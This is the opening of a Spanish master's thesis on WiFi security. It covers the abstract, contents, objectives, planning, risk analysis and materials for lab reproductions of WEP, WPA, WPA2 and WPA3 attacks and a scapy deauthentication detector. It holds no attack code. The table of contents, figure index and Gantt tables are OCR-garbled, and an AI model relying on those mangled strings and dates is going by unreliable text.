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Resumen del Trabajo:

La finalidad de este trabajo es estudiar la tecnologia de las redes WiFi y el nivel de
seguridad de las mismas, logrando una comprension desde el modelo de transmisiéon

fisico hasta los estandares y sistemas de cifrado.

Una vez realizado el estudio, se han analizado las diferentes vulnerabilidades que
sufren los actuales sistemas de cifrado utilizados, y se han realizado pequefios
laboratorios para poder llevar a la practica algunos de los ataques conocidos que se

aprovechan de estas vulnerabilidades.

Se ha realizado una tarea de prospeccion tecnoldgica para encontrar y valorar
diferentes herramientas, tanto comerciales como libres, que ayuden a detectar y mitigar

ciertos ataques en las redes WiFi, tanto a nivel empresarial como doméstico.

Por ultimo, se ha estudiado el modulo scapy para poder desarrollar una herramienta
capaz de detectar ataques basado en desautenticacion, permitiendo profundizar ain

mas en la estructura de las tramas de las redes WiFi.




La conclusién alcanzada tras la realizacion de este trabajo es que las redes WiFi deben
seguir mejorando los niveles de seguridad, como hasta ahora han hecho, y que también
debe ir de la mano la concienciacion de los usuarios y la educaciéon de los mismos en

el uso de esta tecnologia.

Abstract:

The purpose of this work is to study the technology of WiFi networks and their level of
security, achieving an understanding from the physical transmission model to the
standards and encryption systems.

Once the study has been carried out, the different vulnerabilities suffered by the current
encryption systems used have been analyzed, and small laboratories have been set up
to be able to put into practice some of the known attacks that take advantage of these

vulnerabilities.

A technological survey was carried out to find and evaluate different tools, both
commercial and free, to help detect and mitigate certain attacks on WiFi networks, both

at business and at home.

Finally, the scapy module has been studied in order to develop a tool capable of
detecting attacks based on deauthentication, allowing further investigation of the

structure of WiFi networks.

The conclusion reached after carrying out this work is that WiFi networks must continue
to improve security levels, as they have done up to now, and that user awareness and

education in the use of this technology must also go hand in hand.




R [ (o To [F TolodTo ] o [P P O PUUPPR O TPPPPPPPI 1
1.1.- Contexto y justificacion del Trabajo .............eeiiiiiiiiiiiiiiiiei e 1
1.2.- ObjetivOs del TrabajO........cciiii e a e 2
1.3.- Enfoque Yy MEtOdO SEQUIHO ........coviiiiiie e e e 3
1.4.- Planificacion del TrabajO ...........eeeiiiiiiiiiiiiiii e e e e e 3

R B o 11 (0 1 PP P PP PPPPPPPPPPPP 3
1.4.2.- Diagrama d€ GaANtl.........couiiiiiii e e et e e et e e e e e e e a e e e e e aaane 4
1.5.- ANALISIS A€ RIESHOS ....evtiuiiii i e e e et e e e e e e e e et a e s e e e e e e eatataaeaeaaes 6
1.6.- IMAEETIAIES. ... e 7

2.- Estudio de 10s estandares IEEE 802.11...........uuiiiiiiiiiiiiiiiiiieee e e et ee e e e ee e e e e e e e 8
P2 e [ o [F [olod o] o PP PP PP PP PPPPPPPP 8
2.2.- EVOIUCION d€ 10S ESTANUAIES........uiiiiiiiiieieieet ettt e e 8

3.- Estudio del modelo de transmiSiOn fiSICO ..........cuiiiiiiiiiiiiiiiiee e 13
N OF- T o= I 1] (o7 PP PPPPPT PP 13
B2.- BANUAS ...ttt e et a e e e e 13
B.3u- CANAIES ...ttt e e et e e e e 14
S V(o T 0] =Yoo o HA PP PPPPPP PP 14

4.- Estudio topologias redes Wi-Fi ..........eeiiiiiiiiiiiiiiie et 15
B = =T 01T o (o PO P PP P PPPPPPPR PPN 15
N o] oTo] (o T T PRSPPI 15

5.- Andlisis comunicacion entre STA Y AP ... 17

6.- Andlisis tipos de tramas en capa de ENIACE ..........cooiiiiiiiiiiiiie et 19
LT e I =T 0 1 = W PP PPPPRPPTN 19
6.2.- TIPOS A8 TrAMIA ..eeeiiiiiii i e et e e e e e e e e e e e e e e e ettt e e e e e e e e eessta e e s eeaaeeeesstaaaaaaeaaesennnes 20
6.3.- Tramas A& GESHON ... ..uuiiiiiiiiee ittt e e e e e e st e e e e e e e e e nnnneeees 21
6.4.- Tramas de CONIOL.........coiiiiiiiiiii e 22
6.5.- Tramas d€ DAtOS..........cooiiiiiiiiiiiii e 22

7.- Estudio de los cifrados de seguridad............ooooiiiiiiiie e 23
T L - WP e et 23
7.2.- Vulnerabilidades €N WEP ...........oooiiiiiiiii 26

7.2.1.- INYECCION B trAMAS ...cuvtiie i e e e e e ee e e e e e et e e e e e e e e e ettt e e e e e e e eesraraaanns 26



7.2.2.- Falsificacion de 1a auteNtiCACION ........oeen e 26

7.2.3.- PrediCCiON A€ CREC3B2.... ..ottt e e a e e e e 27
7.2.4.- Obtencion de una parte del KEYSIream...........uuiiiiieeiiiieiiiie e 27
7.2.5.- Probabilidades derivadas de RCA ............uuuiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiineieenenenenenneenenennnnnes 28
T3 W P A e et e et e ara s 28
7.4.- Vulnerabilidades €N WPA ... 33
7.4.1.- Ataque de fUBIZa DIULAL........ccoiiiice e e 33
T4.2.- BECK-TEWS ...ttt 34
7.4.3.- ONIGASNI-MOTTi ...t 34
7.4.4.- Ataque al algoritmo MIChAel ............uoiiiiiiiiici e 34
7.4.5.- Vulnerabilidad HOIELOG .........cccoiiiiiiiiiiiiec e 34
T.4.6.- WP S et 35

0 - VW P A et 35
7.6.- Vulnerabilidades €N WPAZ ... 36
7.6.1.- AtagUE KRACK .. ettt e e e e e 36
A A = TP 37
7.8.- Vulnerabilidades en WPAS3 ... 39
7.8.1.- Ataque por degradaciOn.............cuuuueiiiieeii e e e e e e e e 39
7.8.2.- AtaquUES SIdE-ChanNEl..........ooiiiieee e 39
7.8.3.- Ataques por denegacion AE SEIVICIO .........ceeuiiiuuiiiieeiaeeeaseiiiiiee e e e e e s eeeaeaeeaaanes 40
8.~ Prueba de CONCEPIO ... . 41
8.1.- Montaje del [aboratorio...........uuuiii i 41
8.2.- ATAQUES WEP ... e e e e 46
8.3 ALAGUES WP A e e e e e e e e aennne 50
8.4.- ATAQUES WIPAZ ...t e et aaaaennne 51
8.5 ALAGUES MW P AT e et e et e e et e et e e a e e aa s 54
9.- Herramientas ACUAIES ..o 55
9.1.- DetecciOn de WiFi PINEAPPIES .........uueiiiiiieeiiiieeeee et 55
9.2.- Auditoria de Redes Wi-Fi CON WAIDPS ...t 58
9.3.- Aplicaciones moviles para detectar intrusos en lared ........ccccceevvvvvveeiiiiiiiiiiiiiiieeeeeeee 60
9.4.- USO d€ CIAVES OTP ...t 61
LS IR T =] 2T SRR 61



LS BT A 14 Y/ 1 PP PT TR SRPPPPRPPP 63

9.7-Personal WIFT IDS ...t e e e e e e e e e 65
9.8- Soluciones Comerciales IDS € IPS........oooiiiiiiiiiiee e 65
9.8.1.- AIrMAQNEL ENLEIPIISE ....eeiiiiiiiiiiiiiiiiiteietiteiaeb bbb sssssnnnnnnes 65
9.8.2.- EXIremeE AITDEIENSE ... ..uiiiiiiiiiiiiiii e 67
SRS R Rl o (0] (=T o PP 68
10.- Andlisis y desarrollo de alertas y mitigacion de ataques...........cccceeeieeeeiiiiiiiiiiii e, 69
10.1- Esquema y configuracion del @NLOINO. .........ccciii i 69
10.2- DeSarrOllo A& AELECIOI.PY .....uuuuuiiiiiiiiiiiititie e 71
10.3- CoNSEjOS Y BUENAS PrACHCAS ......cuvuiieieeeei it ee e e e e e e e e e e e 78

i B O o] o Tod (U1 o o TP P PP PPPPPPPPPPON 80
i €1 [ 157 1 o TP PPPPPPPPPPPP 81
(R T =11 o] [To o | =1 - TSP PPPPTT PPN 83
Libros y articulos aCAdEMICOS ..........oovuiiiiiie it e e e e e e e 83
PAGINAS WD ... e e e e 83

F e 1< (o I PP PTPTT 86



Indice de ilustraciones

llustracion LPIANIfICACION HItO | ........oooiiiiiiiiiii e 4
llustracion 2 Planificacion HIito 1y T ... 5
llustracion 3 Planificacion HIto IV Y V ...t 5
llustracion 4 Planificacion HItO V1 ........oouiiiiiiiieeeiei et 5
llustracion 5 Planificacion HIto VIl ........c.uuiiiiiiiiiiiiii e 5
USTrAciON 6 MOAEIO OSH.........uiiiiiiiiiiieii et e e e e e e e e e e 13
HUSEFACION 7 BANUAS ...coeiiiiiiiiiiiee ettt e e e e e et et e e e e e e e e bbb e e e e e e e e e e e annneeees 13
llustracion 8 Representacion de los canales con Wifl Analyzer ..., 14
llustracion 9 Ejemplo de modulacion de sefial. Fuente: Wikipedia ..............cccccvveeeeiieeiniiiiiinnnnnn. 14
llustracion 10 Red SIMPIE BSS ... e e e e 15
HUSErACION 11 REA ESS ... ..ottt e e e e e e sttt e e e e e e e e e aneneeees 16
USEFrAcCiON 12 REA IBSS ... ...ttt e e e e e ettt e e e e e e e sttt e e e e e e e e e annreenes 16
ustracion 13 CoNEXION STA = AP ...t e e e e e e e e 18
NUSEracion 14 Tram@a 802.11........eeeeeieeiiiiiiee ettt e e e e e e e e r e e e e e e e e e nnbrnees 19
llustracion 15 Campos de CONrol de trAM@ ........coiiiiiiiiiiiiiiie e 19
HUSEracion 16 Tram@a B02.11........uueiiie ittt ettt e e e e e ettt e e e e e e e s e bbb e e e e e e e e e e annnnreeees 23
llustracion 17 Datos de una trama WEP.............ooiiiiiiiiiie e 23
llustracion 18 AIGOItMO RCA........ueiii et e e e e e e e e e e e e araaaas 24
lustracion 19 Cifrado AE TraMa ........ooiiiiiiiiiiiiii et e e e e e e e e e e e e e e nnreeees 25
llustracion 20 DeSCIfrado e Trama........ccuuiiiiiiiieiiiiii et e e e 26
llustracion 21 Tramas de AUENTICACION ..........uviiiiiiiiiiiiii e e e 26
llustracion 22 Capa LLC Y SNAP ....ee e e e e e e ara s 27
llustracion 23 4-way handSaKe ...........oooiiiiiiii e e 30
llustracion 24 Autenticacion con RADIUS. Fuente: wikipedia..........cceeviiieiiiiiiiiiiiiiiieeeeeciieee 31
llustracion 25 Trama CIfrada TKIP ........ooiiiiiiiiii e e e 32
HUSErAciON 26 Tram@a WPA ... ettt e e e e e et r e e e e e e e e e neeenees 33
llustracion 27 Campos IV/Key ID y EXtended IV.......cooovviviiiiiiiiiiiiieieeeeeeeeeeeeeeeeeeeeeeeeeeeeeee e 33
HUSErACION 28 WPS ...ttt et e et e e et et et e e e e e e e e e e e e e e e e aeaeeeeaaaaaaaaeeeeaees 35
llustracion 29 Encriptacion CBC. Fuente: WIKIpedia ..........ccuuieiiiiiiiiiiiiiiieee e 36
llustracion 30 Tercer MeNnsaje afeCtado. .........uueiiieeiiiiiiicee e e 37
llustracion 31 Protocolo SAE. Fuente: blog.compass-Security.COM ...........cuuvvveveeiiieieeieeeeeeeneee, 38

vi



llustracion 32 Pantalla de iniCio OPENWIL..........iii i e e e 41

llustracion 33 Pantalla de login de OPenWHIT .........cooiiiiiiiiii e 42
llustracion 34 INStalacion de AIVET ...........uuiieiiiie e e e 43
llustracion 35 Pantalla de WIrEIESS .......ccuuuiiiiiiieieeeee e 43
llustracion 36 ConfiguracCion ESSID ..........coouiiiiiii i e e e an e 43
llustracion 37 Configuracion SEQUIAA. ...........coiiieeiiieeiee e e e e e e aares 44
llustracion 38 Punto de acceso deSCONECIAAOD ........ccuuviiiiiiiiee e 44
llustracion 39 PUNnto de aCCeS0 CONECLATOD .........ceeeiiiiiiiiiieiee e e e ettt e et e e e e 44
llustracion 40 Cliente conectado al punto de€ ACCESO......uuuiiiiieiiiiieiiiie e e e 45
llustracion 41 Test interfaz MO0 MONITOT..........iiiiiiiiiiiiii e 45
llustracion 42 Cliente conectado a la red WEP..............uueiiiiiiiiiieee e 46
llustracion 43 Obtencion de [a Clave WEP. ... 48
llustracion 44 Atagque ChOPCROP .......i i e e e 49
llustracion 45 Paquetes CaPIUIAUOS .........ocouuuuuiiiiieeee e e e e et e s e e e e e e e et e e e e e e e eeaneraaaaas 49
llustracion 46 Apertura del fichero cap con Wireshark............cooooiiiiiiiiiiiiiiiiiiieeee e 49
llustracion 47 Generacion de tramas EAPOL para Handshake .............ccccooiiiiiiiiiiiiiiiiiiiinne, 51
llustracion 48 Obtencion de la clave WPA por fuerza bruta...........cccccoeeiieeiiiiiiiiin e, 51
llustracion 49 Conexion a lared con RADIUS ...t 52
llustracion 50 Captura de las credenciales de un usuario por RADIUS ...........ccccveeeieeiiiiiiiinnee. 53
llustracion 51 Obtencion de la clave con hastCat...............cuiiiiiiiiiiiiiiii e 53
llustracion 52 Pineapple Mark VIl ..ot e e ara s 55
llustracion 53 PiNeapple ENLEIPIISE......ccoo i e e e e e era s 55
llustracion 54 Creacion de Fake AP cON PINEAPPIE.........uuiiiiiiiiiiiiiiiiiiee e 56
llustracion 55 Generacion de dos Fake AP con airbase-ng..........ccccvveeiiieiiiiiiiiiiiiiiee e 57
llustracion 56 Mod0 aNAlISIS PISAVA ...........uuiiiiiiiiiiiiiiiii et e e 57
llustracion 57 Modo deautentiCacion PISAVA ............cc.uuiiiiiiiieiiiiiie e 58
[USEraCiON 58 LOQS PISAVA ......eviiiiiiiiiiiiiiiiiiieeieeeee ettt ettt ettt e e e e e e e et e e et eeeeeeeaeeaeeeeaeeeaeeeeeeeeeeeeees 58
llustracion 59 WAIDPS EVil TWIN ...ocoiiiiiiiiiiiiiiieieeeeeeeeeeeeeeeee ettt e e e e e aaes 59
llustracion 60 WAIDPS MO0 QUAILOITA ......uvvrieiiieeiiiiiiiiiiiieee ettt e e e 59
llustracion 61 WAIDPS INfO @UAITOITA ..........uueiiiiieiiiiiiiee et 60
HUSTFACION B2 KISIMEBL. ... e ittt oottt e e e e e e e e e e e e e e et e e e e e e e e e e e neeenees 61
llustracion 63 Kismet Detalle Red ..........oc.uuiiiiiiiieiiiicee e 62



llustracion 64 KiSmMet Detalle ClIENTES .......ovveiieeiee ettt et et et e r e e e e e eenaens 62

llustracion 65 Graylog DEAULN..........ccii i e e 63
llustracion 66 Graylog freCUENCIA DEACONS..........ccoiiiiiiiiiiiiie e 64
llustracion 67 Graylog fuerza SEMAl..............ueiiiiiiiiii e 64
llustracion 68 Nzyme GItNUD ............iii i e e e e e e ara s 65
llustracion 69 AIrMagnet INfOMMES.......ccci i e e aa s 66
llustracion 70 AirMagnet DashbDOArd ..............ooooiiiiiiii e 66
llustracion 71 AirMagnet INterferENCIAS ..........ueuiii i 66
llustracion 72 Extreme AirDefense ArqUItECIUNAL...........cuuuuiiiiieei i e 67
llustracion 73 Esquema €SCeNArio PrACCO .......iiieee it e e e e e e e e e e e eaaeaas 70
llustracion 74 Configuracion APTEST €ON WPA2/PSK .....ccoiiiiiiiiiiiiiiiiiee et 70
llustracion 75 Eemplo de €jecucCiOn detECIO.PY ......cocuuvirrriiieeeeiiiiiiie e et e e 73
llustracion 76 Estadistica de protocolos de seguridad WiFi............cccoceeiiiiiiiiiiiiiinn e, 80
llustracion 77 Sistema de encriptacion WiFi en los Gltimos 20 af0S.............ccevvveeeeieeeececiiiinnnnn. 80

viii



1.- Introduccion

1.1.- Contexto y justificacion del Trabajo

Vivimos desde hace tiempo en un mundo hiperconectado, rodeados de dispositivos que
requieren estar conectados a internet, y en la gran mayoria de los casos, a través de redes
inaldmbricas. Una de las redes inaldmbricas mas importantes y populares son las redes Wi-Fi,
tanto a nivel personal como laboral.

Sin duda alguna, esta conectividad sin ataduras de cables ha facilitado en gran medida tanto la
movilidad de los dispositivos como el crecimiento y las instalaciones de éstos. Sin darnos cuenta,
en la mayoria de los hogares, podemos tener mas de una decena de dispositivos conectados a
internet a través de la red Wi-Fi: ordenadores portatiles, madviles, tablets, Smart TV, etc. Y ahora
con loT se suman otros nuevos dispositivos que antes no requerian esta conectividad, pero que,
sin duda, nos dan muchos otros beneficios: enchufes inteligentes, luces inteligentes,
electrodomésticos, altavoces inteligentes..., en definitiva, hogares domotizados e inteligentes.

Haciendo mencién al titulo de este trabajo: “Redes wifi, ;realmente se pueden proteger?” es
donde entramos para hacernos esta pregunta y analizar cuan seguras son estas redes y hasta
donde podemos hacer para asegurarlas. Estamos acostumbrados a navegar y a realizar multitud
de operaciones a traves de las redes wifi, ya sean nuestra propia red en casa, como en el trabajo,
o0 incluso si estamos de vacaciones en redes “abiertas”. Pero debemos ser conscientes que estas
redes son muy diferentes en cuanto a seguridad, y debemos aprender cémo utilizarlas en cada
caso. Esto nos lleva a realizar las siguientes preguntas: ¢ Sabemos las posibles consecuencias
de conectarnos a una red abierta? ¢Nuestra red wifi de casa esta bien protegida? ¢Pueden
acceder a nuestra red y robarnos datos personales? ¢Qué medidas estamos tomando para
asegurar nuestra red o la forma en la que nos conectamos con nuestros dispositivos?

Precisamente ahora, debido a la situacién que nos ha tocado vivir a causa del Covid, gran parte
de la poblacion ha convertido su hogar en su oficina. Esto implica que ya no sélo utilizamos
nuestra red wifi para asuntos personales, sino que accedemos a servicios y utilizamos datos que,
por norma general, son mucho mas sensibles. ¢ Podemos trabajar desde casa con el mismo nivel
de seguridad que en nuestro puesto de trabajo habitual? Por tanto, el nivel de seguridad de las
redes wifi ya no sélo atafie a uso doméstico, sino también al laboral.

A partir de este contexto y con el objetivo de conocer los riesgos de las redes wifi y también de
gué manera podemos ser capaces de mejorar la seguridad, surge este trabajo de fin de méster,
donde nos centraremos por tanto en: el estudio y analisis de las redes Wi-Fi, sus diferentes
protocolos de seguridad, vulnerabilidades que han dado pie a ser susceptibles a diversos tipos
ataques y trataremos de analizar la capacidad de alertar y/o mitigar estos ataques. Se analizaran
las posibles soluciones existentes en el mercado que permitan dar un mayor nivel de seguridad
a la red Wi-Fi. No sélo se tratara de manera tedrica estos temas, sino que se llevara a cabo un
laboratorio que permita poner en practica los conceptos analizados durante el estudio de la red
Wi-Fi. Con este laboratorio (con hardware econémico y software libre) se tratard de cubrir el
mayor espectro posible dentro de esta tecnologia, tanto a nivel de vulnerabilidades como de
1



proteccion. Para comprender mejor el funcionamiento de la red Wi-Fi, se llevaran a cabo
pequefias pruebas con desarrollos en el lenguaje de programacion python y el uso de la libreria
scapy. Por ultimo, se tratara de disefiar la configuracion méas Optima y segura posible para una
red Wi-Fi, de manera que podamos tener el maximo control de lo que ocurre en la red.

1.2.- Objetivos del Trabajo

A continuacion, se exponen los principales objetivos marcados para la realizacién de este

trabajo:

1. Estudiar la tecnologia Wi-Fiy el funcionamiento del estandar IEEE 802.11

a.

=~ o o0

Breve andlisis de la evolucion de los diferentes protocolos, desde IEEE 802.11-
1997 hasta 802.11 ax

Descripcion sintetizada del modelo de transmision fisico (espectro radioeléctrico,
canales de frecuencia, sefial, etc).

Topologias mas utilizadas en las redes Wi-Fi (BSS, ESS, AdHoc, ...)
Comprensién del sistema de conexion entre cliente y punto de acceso Wi-Fi.
Andlisis de los diferentes tipos de tramas (capa de enlace de datos OSlI)
Descripcion de los cifrados de seguridad desde WEP a WPAS.

2. Analizar los principales tipos de ataques y qué vulnerabilidades aprovechan.

a.

R

g.

Montaje de laboratorio con Openwrt y Raspberry Pl para generar diferentes
escenarios y llevar a cabo diferentes ataques en un entorno controlado.

Cifrado WEP y modelo criptogréfico RC4.

Cifrado WPA y ataque TKIP

Cifrado WPA2. Vulnerabilidades en el protocolo WPS. Ataque KRACK.

Cifrado WPA3 y vulnerabilidades Dragonblood.

Uso de contrasefias débiles y ataques de fuerza bruta.

Ataques de ingenieria social y generacion de portales falsos.

Asi como los objetivos secundarios que también se desean alcanzar:

1. Analizar herramientas que permitan mejorar la seguridad de las redes Wi-Fi.

a. Prospeccion tecnoldgica de herramientas que permitan monitorizar y administrar
redes Wi-Fi.

b. Andlisis de las herramientas encontradas y realizar una comparativa entre ellas.

2. Analizar, disefiar e implementar casos de uso que permitan alertar y mitigar ante posibles
ataques.

a. Uso de python y scapy para desarrollar scripts que permitan interactuar con la red
Wi-Fi y analizarla.

b. Detectar ataques de desautenticacion y posibilidad de mitigarlos.

c. Deteccion de intrusos en la red.

d. Compendio de buenas practicas para mantener un nivel de seguridad alto.



1.3.- Enfoque y método seguido

Para llevar a cabo este proyecto se ha seguido un enfoque tanto tedrico como préactico. El
enfoque tedrico ha servido para realizar un estudio de la tecnologia Wifi desde sus inicios hasta
la actualidad, analizando tanto su implementacibn como sus vulnerabilidades y también
prospeccion tecnolégica de las herramientas existente. Para aterrizar este conocimiento tedrico
adquirido, se han realizado pruebas practicas de diversa indole, con el objetivo de plasmar las
debilidades descubiertas en los diferentes protocolos.

Se ha requerido de recopilacién de informacién y estudio de la misma para poder alcanzar el
suficiente grado de detalle para poder diseccionar cada parte de este trabajo y ser capaz de
trazar las conclusiones objetivas del mismo.

Siguiendo una metodologia practica y buscando cémo implementar algun tipo de mejora en la
seguridad de las redes Wifi, se ha puesto también foco en el desarrollo de una herramienta que
permita detectar algunos tipos de ataques, sirviendo también para comprender ain mejor el
funcionamiento de los protocolos de comunicacién y estructura de las tramas de red Wifi.

1.4.- Planificacion del Trabajo
1.4.1.- Hitos

Se describen a continuacién los grandes hitos definidos para la correcta consecucién de este
trabajo:

e Plan de trabajo

El cual implica: planificacion del trabajo a realizar, con una descripcién a alto nivel de las tareas
gue se pretenden abordar y enmarcadas en plazos temporales.

Entregable asociado: “Entrega 1 Plan de Trabajo”.
e Estudio e Investigacion

El cual implica: Estudio del estandar IEEE 802.11, estudio Modelo OSI aplicado a 802.11 (capa
fisica y capa de enlace), topologias Infraestructuras Wi-Fi, implementaciones de Seguridad y sus
diferentes vulnerabilidades.

Entregable asociado: “Entrega 2”
e Pruebas de Concepto

El cual implica: Montaje Laboratorios para realizar diferentes tipos de ataques, pruebas de
atagues en ambientes controlados para las configuraciones de seguridad (WEP, WPA, WPA2 y
WPAB3).

Entregable asociado: “Entrega 2”
e Herramientas actuales

El cual implica: Investigacion sobre actuales herramientas que aporten mayor seguridad a las
redes Wi-Fi, viabilidad para poder implantarlas.

Entregable asociado: “Entrega 3”



e Analisis y desarrollo de alertas y mitigacion de ataques

El cual implica: Estudio de la libreria Scapy para el tratamiento de las comunicaciones Wi-Fi,
generacion de alertas ante posibles ataques, andlisis, desarrollo e implementacion de un sistema
gue permita mitigar ataques, consejos y buenas practicas para tratar de mantenerse a salvo.

Entregable asociado: “Entrega 3”
e Memoria Final

El cual implica: Elaboracion del TFM contemplando todo el trabajo realizado en el formato
adecuado y para una correcta compresion de los objetivos alcanzados.

Entregable asociado: “Entrega 4”
e Presentacion Virtual

El cual implica: Elaboracién de una presentacion virtual en video en el cual se muestre una
sintesis del trabajo realizado sobre una presentacién de diapositivas.

Entregable asociado: “Entrega 5”

1.4.2.- Diagrama de Gantt

Se llevara a cabo la siguiente planificacion para cumplir con las tareas definidas en los objetivos
principales y secundarios, de manera que se pueda cumplir con cada uno de los hitos marcados.

Dentro del diagrama, ademas de la estimacion de dias por tarea, se han marcado los siguientes
puntos de interés:
- Puntos de Control: Se aplicaran controles para revisar que se esta realizando el

trabajo segun lo esperado en cuanto a contenido y planificacion.

- Entregables: < Marcan las fechas claves de las entregas definidas.

Hito I: Plan de trabajo

[ somaese

HUMERD EDT TITULO DE LA TAREA FE::;':E FECHADE FIN  DURACIGN mm-
14 156 16 17 18 19 20 21 22 23 24 25 26 27 28 290

1 Plan de trabajo

11 Visidn general del proyecto 16/09/20 20/09/20 5

1.2 Definicidn de objetivos principales 19/09/20 23509720 5

1.3 Definicion de objetivos secundarios 19709720 23709720 5

1.4 Definicion de Hitos principales 19709720 2309720 5

1.5 Analisis de riesgos 19/09/20 23/09/20 L

1.6 Descripcidn de materiales necesarios 19/09/20 20/09/20 2

1.7 Diagrama de Gantt 23/09/20 27/09/20 5

1.8 2409720 2409720 1

1.9 Andlisis de tiempos 23709720 27709720 5

1.10 Entregable: Entrega 1 Plande trabajo 29/09/20 29/09/20 1 -

llustracion 1Planificacion Hito |

Hito Il Estudio e Investigacion, Hito Ill: Pruebas de Concepto



WUMERD EDT TiTULD DE LA TAREA FB.:‘:';:E
2 Estudio e Investigacién

2.1 Estudio de los protocolos IEEE B02.11 30/09/20
22 Estudio del modelo de transmision fisico  02/10/20
2.3 Estudio topologias redes Wi-Fi 04/10/20
2.4 Andlisis comunicacidn entre Cliente y PA 06/10/20
25 Andlisis tipos de tramas en capade enlace  08/10/20
26 Estudio de los cifrados de seguridad 10/10/20
27 Punto de control 08/10/20
3 Pruebas de concepto

31 Mantaje laboratorio 1310/20
32 Vulnerabilid ades y ataques WEP 16/10/20
33 Vulnerabilidades y ataques WPA 18/10/20
34 Vulnerabilidades y ataques WPA2 20/10/20
3.5 Vulnerabilid ades y ataques WPA3 2210/20
16 EﬁJTa[ ssefias débiles y ataques de fuerza 24/10/20
3.6 Ingenieria s ocial y portales falsos 25/10/20
37 Punto de control 2210/20
3.8 Entregable: Entrega 2 27/10/20

Hito IV Herramientas actuales,

I S R
] - | oo | wwes | wwwe |

31 2 3 4 5 6 7 &8 9 1011 1213 14 15 16 17 18 19 20 21 22 23 24 25 26 27

"

01/10/20
03/10/20
05/10/20
07/10/20
09/10/20
1210/20
08/10/20

e e e R R

15/10/20
17/10/20
19/10/20
21110/20
2310/20

Pafra | ra | ra e

24110/20 1
26/10/20 2
22110720 1 !
27/10/20 1

1)

llustracion 2 Planificacion Hito 11 y 11

Hito V: Andlisis y desarrollo de alertas y mitigacion de

ataques
[ ocrusre | | NOVIEMBRE
WUMERD EDT THTULD DE LA TAREA FB.:‘:';:E FECHADE FIN  DURACIGN MNA B SEMANA O
28 29 3031 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
4 Herramientas actuales
41 Prospeccidn herramientas en el mercado 28/10/20 30/10/20 3
42 Andlsis y comparativa de herramientas 29/10/20 311020 3
5 Andlisis y desamollo de alertas y mitigacién de ataques
5.1 Scrpting en python ys capy 01711720 21/11/20 21
Deteccidn de ataques de desautenticacion y ¢ 44 iy
5.2 mitigacion 05/11/20 10/11/20 &
5.3 Deteccion deintrusos enlared 11/11/20 21/11/20 1
5.4 Compendio de buenas practicas 22111/20 23111720 2
5.5 Punto de control 18/11/20 18/11/20 1
5.6 Entregable: Entrega 3 24711/20 24711720 1
llustracion 3 Planificacion Hito IVy V
Hito VI: Memoria Final
DICIEMBRE
NOMERO EDT TiTuLODE LATARER Foaat rechassrm pumscion [CCUTTRTRN I SEMANA 13 SEMANA 14
25262728 2030 1 2 3 4 5 6 7 B 9 1011 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
6 Memoria Final
6.1 Recapitular trabajor realizado 2511720 30M11/20 6
6.2 Conclusiones obtenidas 01112720 05/12/20 5
6.3 Redaccion del TFM 06/12/20 2812/20 3
6.4 Punto de control 01220 201220 1
6.5 Entregable: Entrega4 2912720 2911220 1

Hito VII: Presentacion Virtual

NUMERD EDT TiTULO DE LA TAREA
7 Presentacidn Virtual
71 Sinesis del TFM
7.2 Preparaciin de presentacion
7.3 Grabaciénde la presentacion
7.4 Punto de contral
7.5 Entregable: Entrega 5

llustracion 4 Planificacion Hito VI

FT":;SE FECHADE FIN  DURACIGN
30311 2 3 4 5

3011220 020121 3

020121 030121 2

04/01/21 040121 1

0321 030121 1

050121 05/01/21 1

llustracion 5 Planificacion Hito VII



1.5.- Andlisis de Riesgos

A continuacioén, se muestra el andlisis de los riesgos detectados, implicacion de los mismos, nivel
de criticidad y acciones planteadas para poder mitigarlos:

Acciones para
Mitigarlo /

consecuencia, la
puesta en practica
de las medidas
mitigadoras que
se disefien.

Existe riesgo en .. Implica que ... [ Criticidad Plan de accién
Si se produce un
fallo en la
lanificacion, .
e p L Se han establecido
Fallo en la planificacién. En todo proyecto, la |implicaria la no
e L puntos de control para
planificacion de las tareas a abordar es consecucion de o
. . - Alta llevar un seguimiento del
fundamental para conseguir los objetivos los objetivos .
proyecto y evitar
marcados y resultados esperados. marcados, o0 . .
o . posibles desviaciones.
pérdida de calidad
en los
entregables.
Se realizaran pruebas en
. entornos menos
No se podrian
controlados y con menor
abordar las .
. namero de
demostraciones . .
de las configuraciones para los
. diferentes escenarios,
vulnerabilidades .
. . . centrdndose en aquellos
Problemas en el montaje del laboratorio perdiendo el . s
. . Lo . escenarios mas faciles
(parcial o completo) para llevar a cabo las caracter practico, Media
. . de representar. En los
pruebas de las diferentes vulnerabilidades. yen

casos en los que no se
pueda realizar una
demostracion practica,
se profundizaréa en la
metodologia utilizada
para explotar la
vulnerabilidad.

Curva de aprendizaje mayor de la esperada
en el uso de diversas herramientas de
auditoria Wi-Fi (airmon-ng, airodump-ng,
aireplay-ng, aircrack-ng) y para el desarrollo
de soluciones de monitorizacién/mitigacion

(python/scapy).

Desviacion de
tiempos y
problemas para
cubrir los objetivos
marcados.

Media

Realizar un desarrollo
mas tedrico para poder
cubrir los objetivos, asi
como realizar el andlisis
y desarrollo a alto nivel
sin llegar a la
implementacion de las
herramientas de
monitorizacion/mitigacio
n.




1.6.- Materiales
Para el desarrollo de este trabajo se contara con el siguiente material:

- PC HP 15s-fq1073ns, i5, 12 GB, 1 TB SSD con SO Kali GNU/Linux Rolling (version
2020.3)

- 2 Raspberry PI 2 (para instalacion de un router OpenWrt y para ejecutar el software
desarrollado, detector.py)

- Cables red ethernet.

- 2 Tarjetas SD 16GB

- Alimentadores USB

- Dongle wifi TL-WN725N

- Antena Wi-Fi ALFA Atheros AR9271

- Conexibn a internet.



2.- Estudio de los estandares IEEE 802.11

2.1.- Introduccioén

Puede parecer que llevemos toda la vida conectados de manera inalambrica con la tecnologia
Wi-Fi, con nuestros moviles, portétiles, tablets y gran cantidad de nuevos dispositivos de 10T,
pero en el aflo 2019 se cumplieron 20 afios de la tecnologia Wi-Fi, por lo que se trata de una
tecnologia bastante joven (si la comparamos con la tecnologia Ethernet 802.3, que data de
primeros los afios 70). El término Wi-Fi es en realidad una marca licenciada por el organismo
Wireless Ethernet Compatibility Alliance, que luego paso a ser Wi-Fi Alliance. El objetivo de este
organismo es certificar los productos que cumplen con los estandares 802.11 (definido por el
grupo de trabajo de IEEE para el estudio de las redes inaldmbricas WLAN). A continuacion, se
realizara un breve resumen de la evolucion de los principales estandares 802.11 hasta el
momento, y veremos las mejoras que implican en cada caso.

2.2.- Evolucion de los estandares

Vamos a centrarnos en mostrar para los principales estandar los aspectos mas destacables
